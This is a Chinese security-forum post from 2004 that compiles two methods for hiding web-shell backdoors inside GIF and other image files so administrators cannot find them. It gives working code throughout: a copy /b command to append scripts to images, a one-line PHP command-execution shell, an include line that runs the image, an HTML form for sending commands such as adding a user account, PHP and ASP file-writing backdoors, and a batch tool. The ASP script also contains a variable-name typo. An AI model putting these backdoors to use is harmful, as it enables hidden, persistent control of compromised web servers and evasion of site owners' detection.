论坛: 菜鸟乐园 标题: 脚本后门注入图片2方法~整理 复制本贴地址    
作者: guzhu [guzhu]    论坛用户   登录
原文是比较早的,但比较有意义……

自从臭要饭的发布了那个脚本隐藏于图片中的程序之后(没看的朋友参见Bugkidz上的文章),不断就有人来说什么程序不好用拉,图片生成不了啦什么的。于是乎昨天我就重新研究了一下原理。突然想到了用一种新方法就是用copy命令进行图片与脚本的合并,却一直发现行不通,原因是不明:我一用copy合并后,图片的结构就被我破坏了,放到网页上不是图片只显示了一点就是干脆一个红叉。百思不得其解,发到论坛上请教又没人睬我。于是我发狠在晚上花了两个小时时间,终于研究出个结果了,呼,好累啊~~~
(由于我是本地试验,而我家的Apache不支持Asp,所以以下都是用的php程序注入,(我只会php)理论上asp一样可行,哪位愿意就帮我试试了,谢了先~~~)
先看看之前我是怎么干的:

代码

C:\>copy 1.gif+2.php 3.gif



上面一句的意思是把1.gif和2.php头尾相接生成一个新文件3.gif。2.php是我自己写的一个cmdphpshell文件(安全模式关闭),代码如下:

代码

<?$cmd=$_POST['cmd'];@system ($cmd);?>



然后在一个wfw.php中加上这么一句:

代码

<?include("3.gif");?>



然后我就测试:http://localhost/wfw.php
在这里我就碰到了图片显示不出的问题。后来我就用UltraEdit-32把3.gif打开,发现本应标注gif文件结尾的00 3B不见了!而且文件也比合并前小了许多。
我就是在这里卡住了,后来思考中无意翻动我以前考电脑中级的书,发现原来是我的copy命令少了一个参数,正确的命令应该是这样:

代码

C:\>copy /b 1.gif+2.php 3.gif



/b参数是指把需要拼接的文件都当作非文本文件处理。如果不带此参数,那么,系统会自动认为这两个文件都是文本文件,而文本文件通常是1A作为结束标志的,所以系统会在拼接两个文本文件时把前一个文本文件1A后(包括1A)的字符全部去除,以保证新生成文件的正常。这样也就解释了为什么我直接用copy命令生成的图片会不可见,因为只要其中有1A字符存在,后面的字符都会被去除。
懂了这些,后面的就一帆风顺了。建立一个本地提交POST参数的html表单:

代码

<html>
<head>
      <title>图片隐藏脚本后门程序客户端</title>
</head>
<body>
<center><font size=3 color=#555555 class=fonts><b>图片隐藏脚本后门程序客户端</b></font><br>By 我非我<br>(命令执行功能)<br><br><br>

<form method="post" action="http://localhost/wfw.php" enctype="multipart/form-data">
<input type='text' name="cmd" value="" size=20>
<input type=submit name="submit" value="执行">
<br><br>〖输入系统命令或程序,执行程序请输具体的路径〗
</form>
</center>
</body>
</html>



以上的action中由于我是本地测试,所以填的是localhost,具体用时,要改为那个插入include的文件的URL。
打开那个表单,在命令中我输入:

代码

net user wfw /add



图片

于是页面就跳转到了wfw.php上,出乎我意料的是:图片是完全显示出来了,但本应显示的命令应答却没有显示。
于是我查看了一下我的机器,看是否命令完成:

图片


结果是成功了。
小结:经过一段时间的探索和努力,终于成功完成了这个方法,是不是很简单?不需要再下载图片用臭要饭的那个程序加工然后再上传。完全可以轻轻松松在Webshell中搞定。插入的脚本可以不是我那个脚本(太简陋了,又没回显,不知为何,希望有牛人可以帮我搞定),可以是这样的:把POST的数据直接保存为另一个phpshell(或是aspshell)当然也可以自定义咯~~(最好插入前先加个密)
下面是一个php的脚本,在图片位置生成一个自定义文件,表单方面我就不写了,把上面的表单稍微改改就好了:

代码

<?
if ($_POST['create'])
{
if (!is_writeable(str_replace('\\','/',dirname(__FILE__)))) {
  exit;
    } else {
    if (file_exists($_POST['filename'])) {
    exit;
    } else {
    $fp=@fopen("".$_POST['filename']."","wb");
    $content = $_POST['filedate'];
    $fw=@fwrite($fp,$content);
    @fclose($fp);
    }
}
?>



因为是利用cmd命令执行,所以我就顺便写一个批处理,作用和要饭的那个程序一样。其实没什么意思,只是为了大家记住我这个人罢了。若是不想那么麻烦用批处理程序,直接输入:start下goto end上的语句就可以了。

代码

@echo off
echo.
echo            **********************************
echo            脚本后门注入图片程序 By 我非我
echo            mail:wofeiwo1987@yahoo.com.cn
echo            QQ:309088292
echo            **********************************
echo            Usage:%0 ^<图片文件^> ^<脚本文件^> ^<生成文件^>
echo            Eg:%0 1.gif 2.php 3.gif
echo.
if '%1'=='' goto err
if '%2'=='' goto err
if '%3'=='' goto err
:start
echo            开始.......
copy /b %1+%2 %3
if not %ERRORLEVEL%==0 goto err
echo            图片生成成功!
goto end
:err
echo            图片生成失败,请检查各参数是否正确!
:end
echo.

ps:另外,我注意到,图片不一定非要是gif文件,也可以是.bmp.png.jpg等格式,效果同样哦!




现在从注入拿WEBSHELL看来成功率都比较高了。
拿到SHELL后,安装自己的脚本后门,常常被查杀。

脚本后门的发展史:
1。最开始就是直接放一个ASP文件上去。
2。把ASP文件加密才放上去。
3。把脚本插入到代码中去。(我经常用这种)

不过一样被查得出来,我前段时候手工检测一个站的脚本安全。
发现这个站被种了21个木马。
所以我就想到了,怎么样才能不被发现不能被查杀。

最后我研究了一下如果把脚本插入到图片中。
然后在ASP中调用图片中的脚本程序应该就可以了。

测试的时候通过了。
现在我把我的心德写一下。
让大家来分析一下。共同进步和完善这种方法。


在研究过程中我看了GIF图片的结构文档方面的书。
GIF图片都是以 00 3B 为结束的。
换句话说00 3B 后面的不会显示出来。
所以我们在00 3B后面插入代码就行了。
当然代码我们加密放到图片中去效果更好。

我写了一个程序来这么做。

这里要说一下,在图片中00 3B后面的是不会显示出来的。
但其中的代码已经运行了。图片也会正常显示出来。

测试:
在图片后面加入:<%=now%>
然后在一个ASP文件中加入:<!--#include file="aaa.gif" -->

然后你们下载这个图片,发现图片最后面变成了时间。很正常因为图片放到了ASP脚本中运行了其中的代码。

换句话来说,如果写的是一段生成文件的脚本。
那么我们提交特定的参数让图片中的代码去生成文件。
这样就实现了我们的后门。

1:这种方法要做的工作就是在目标站点中找一张GIF图片然后把代码插入到图片中,再上传到站点中去。这样作管理员很难找到木马在哪里。打死也想不到木马在图片中。
2:我们插入的代码只有一行就是那个include file .....
找个文件大点的ASP文件给插进去就行了。

然后我们在本地POST数据提交给ASP引用图片的URL这样就完成了工作。

我的插入图片的脚本:

<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% fdata = request("cyfddata") %>
<% if fdata<>"" then %>
<% syfdpath=server.mappath(Request.ServerVariables("SCRIPT_NAME"))&"\ok.asp"%>
<% Set objCountFile=objFSO.CreateTextFile(syfdapth,True) %>
<% objCountFile.Write fdata %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>

这段代码主要就是在当前目录下生成一个ok.asp文件。
文件内容是由我们提交的数据.用request("cyfddata")来获取的。

这段代码加密后插入到图片中去。
下面我把我程序的代码贴出来。(倒程序代码没有打包在里面。明天再贴上来)
现在给程序地址下载:
点这里下载测试程序。

本地自己构建一个提交表单向ASP文件提交(加入图片那个文件)
表单文本框输入内容名称是:cyfddata

后感:
我本人认为这种方法,管理员很难查到。这是我两天前想到的作出来了,
可能有些问题希望和大家一起讨论,必竞,为了追求技术就得研究技术。
共享知识,从而升华。
感觉去研究一些新东西,人活得更XS些。
利用程序 www.dv28.com/live/ScriptInpic.rar






地主 发表时间: 04-09-02 17:04

回复: lqfrla [lqfrla]   论坛用户   登录
恩,不错,鼓励

希望大家都踊跃一些

我从现在开始会搜集一些好的文章作成电子书

希望大家支持,踊跃发帖,当然要好帖才会被收集哦

B1层 发表时间: 04-09-02 17:53

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号